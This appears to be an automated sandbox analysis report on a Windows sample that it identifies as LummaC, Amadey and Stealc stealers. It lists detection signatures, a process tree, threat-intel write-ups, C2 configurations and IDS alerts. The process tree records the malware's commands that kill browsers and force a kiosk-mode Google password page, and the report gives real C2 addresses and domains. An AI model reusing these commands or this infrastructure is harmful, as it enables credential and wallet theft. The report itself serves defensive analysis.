Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1538460
MD5:	cb09d471f6622d52387938a9cdac08e6
SHA1:	2e8d9ac0c80bb578498b4e73b12fe015e7eb4649
SHA256:	574b0d7d27be586fa59b5079e437668480f1fbc25639248f073d835c7bcf37b3
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found API chain indicative of sandbox detection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7428 cmdline: "C:\Users\user\Desktop\file.exe" MD5: CB09D471F6622D52387938A9CDAC08E6)

KGMUJDGOAL6LWD7UD45LIZ.exe (PID: 7904 cmdline: "C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe" MD5: E770CCEE85531910536B1A0CD6101D3A)

skotes.exe (PID: 3624 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: E770CCEE85531910536B1A0CD6101D3A)

2SGVUOBNN8HUJ5IDUWDR.exe (PID: 8020 cmdline: "C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe" MD5: 6535A50286893F791F119217511ACC32)

4V88JM9ZW2IZ0ZQGW7B.exe (PID: 8040 cmdline: "C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe" MD5: 39F19DEFDE405544C424961F69AA69D6)

taskkill.exe (PID: 8056 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2756 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4936 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6016 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1800 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1028 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

skotes.exe (PID: 3704 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E770CCEE85531910536B1A0CD6101D3A)

firefox.exe (PID: 7772 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7760 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6836 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2204 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd325a87-00e5-47e5-97be-85b91655ce72} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c7b66d510 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7672 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4384 -parentBuildID 20230927232528 -prefsHandle 4408 -prefMapHandle 4404 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {812b1425-1beb-4690-8e96-5eb9044b2442} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c0d743810 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7192 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5236 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5228 -prefMapHandle 5224 -prefsLen 33185 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c4c456b6-f245-4b72-bb46-8227423c5a93} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c133cf110 utility MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

skotes.exe (PID: 2692 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E770CCEE85531910536B1A0CD6101D3A)

9b7d422018.exe (PID: 3408 cmdline: "C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe" MD5: CB09D471F6622D52387938A9CDAC08E6)

GA69253C3MXNERTO3N2QC0.exe (PID: 740 cmdline: "C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe" MD5: E770CCEE85531910536B1A0CD6101D3A)

OCYPTLCO9AJSRPZ2BR0OXVLD.exe (PID: 2548 cmdline: "C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe" MD5: 6535A50286893F791F119217511ACC32)

TWGY675O6RDQPKG6OE4IM311M9A2JP.exe (PID: 3524 cmdline: "C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe" MD5: 39F19DEFDE405544C424961F69AA69D6)

taskkill.exe (PID: 2316 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1820 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

a4769912c1.exe (PID: 2696 cmdline: "C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe" MD5: 6535A50286893F791F119217511ACC32)

48bf814d33.exe (PID: 3940 cmdline: "C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe" MD5: CB09D471F6622D52387938A9CDAC08E6)

PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe (PID: 2892 cmdline: "C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe" MD5: E770CCEE85531910536B1A0CD6101D3A)

7617eef03d.exe (PID: 6788 cmdline: "C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe" MD5: 6535A50286893F791F119217511ACC32)

20b68761b3.exe (PID: 7704 cmdline: "C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe" MD5: CB09D471F6622D52387938A9CDAC08E6)

572c19a989.exe (PID: 1208 cmdline: "C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe" MD5: 6535A50286893F791F119217511ACC32)

66c6d84346.exe (PID: 8152 cmdline: "C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe" MD5: CB09D471F6622D52387938A9CDAC08E6)

768041f87c.exe (PID: 7060 cmdline: "C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe" MD5: 6535A50286893F791F119217511ACC32)

9b7d422018.exe (PID: 6316 cmdline: "C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe" MD5: CB09D471F6622D52387938A9CDAC08E6)

a4769912c1.exe (PID: 7928 cmdline: "C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe" MD5: 6535A50286893F791F119217511ACC32)

48bf814d33.exe (PID: 4428 cmdline: "C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe" MD5: CB09D471F6622D52387938A9CDAC08E6)

7617eef03d.exe (PID: 844 cmdline: "C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe" MD5: 6535A50286893F791F119217511ACC32)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: LummaC

{"C2 url": ["licendfilteo.site", "dissapoiznw.store", "spirittunek.store", "bathdoomgaz.store", "mobbipenju.store", "eaglepawnoy.store", "clearancek.site", "studennotediw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.1984616145.0000000000D81000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.2547759461.0000000001408000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.2503061177.0000000001408000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2013241583.0000000000611000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.2766804861.0000000000705000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2305899865.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000003.2691284963.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.2756875635.0000000000C56000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.1943080135.0000000005480000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.2742010534.0000000000705000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.2529443181.00000000013FC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.2652934393.0000000000311000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.2506078383.0000000001408000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.2547341621.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000003.2602234805.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.2682613290.0000000000705000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2650632814.0000000000705000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.2726300389.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000003.2652114564.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2725809496.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.2551102132.0000000001408000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2657819055.0000000000705000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2710915887.0000000000705000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.2528499876.0000000001408000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2677534915.0000000000705000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2030670684.0000000000611000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.2016380463.0000000000451000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2499099366.0000000005120000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2659696835.0000000000705000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.2648912565.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000026.00000003.2774586954.0000000005320000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.1961420367.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.2583071706.0000000001409000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.2526277791.0000000001409000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.1990335969.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.2753806901.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.1972941504.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.2734528892.0000000000705000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000023.00000003.2690081341.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7428	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7428	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2SGVUOBNN8HUJ5IDUWDR.exe PID: 8020	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2SGVUOBNN8HUJ5IDUWDR.exe PID: 8020	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 4V88JM9ZW2IZ0ZQGW7B.exe PID: 8040	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 9b7d422018.exe PID: 3408	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9b7d422018.exe PID: 3408	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: a4769912c1.exe PID: 2696	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: a4769912c1.exe PID: 2696	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 48bf814d33.exe PID: 3940	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 48bf814d33.exe PID: 3940	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 48bf814d33.exe PID: 3940	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9b7d422018.exe PID: 6316	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9b7d422018.exe PID: 6316	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7617eef03d.exe PID: 6788	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7617eef03d.exe PID: 6788	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 20b68761b3.exe PID: 7704	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 20b68761b3.exe PID: 7704	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: a4769912c1.exe PID: 7928	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: a4769912c1.exe PID: 7928	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 572c19a989.exe PID: 1208	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 768041f87c.exe PID: 7060	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 62 entries

Unpacked PEs

Source	Rule	Description	Author
28.2.a4769912c1.exe.ec0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
9.2.skotes.exe.610000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.skotes.exe.610000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.7617eef03d.exe.310000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
34.2.a4769912c1.exe.ec0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.KGMUJDGOAL6LWD7UD45LIZ.exe.d80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.2SGVUOBNN8HUJ5IDUWDR.exe.450000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2692, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9b7d422018.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2692, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9b7d422018.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:46:01.635022+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.206.204	443	TCP
2024-10-21T10:46:05.113087+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49732	172.67.206.204	443	TCP
2024-10-21T10:46:21.676213+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49744	172.67.206.204	443	TCP
2024-10-21T10:47:18.685980+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49920	172.67.206.204	443	TCP
2024-10-21T10:47:21.039011+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49926	172.67.206.204	443	TCP
2024-10-21T10:47:30.075147+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49989	172.67.206.204	443	TCP
2024-10-21T10:47:32.011483+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50001	172.67.206.204	443	TCP
2024-10-21T10:47:33.152014+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50011	172.67.206.204	443	TCP
2024-10-21T10:47:34.916692+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50023	172.67.206.204	443	TCP
2024-10-21T10:47:37.844875+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50047	172.67.206.204	443	TCP
2024-10-21T10:47:39.780445+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50062	172.67.206.204	443	TCP
2024-10-21T10:47:41.967777+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50076	172.67.206.204	443	TCP
2024-10-21T10:47:54.859969+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50120	172.67.206.204	443	TCP
2024-10-21T10:47:57.328730+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50124	172.67.206.204	443	TCP
2024-10-21T10:48:06.112938+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50131	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:46:01.635022+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49731	172.67.206.204	443	TCP
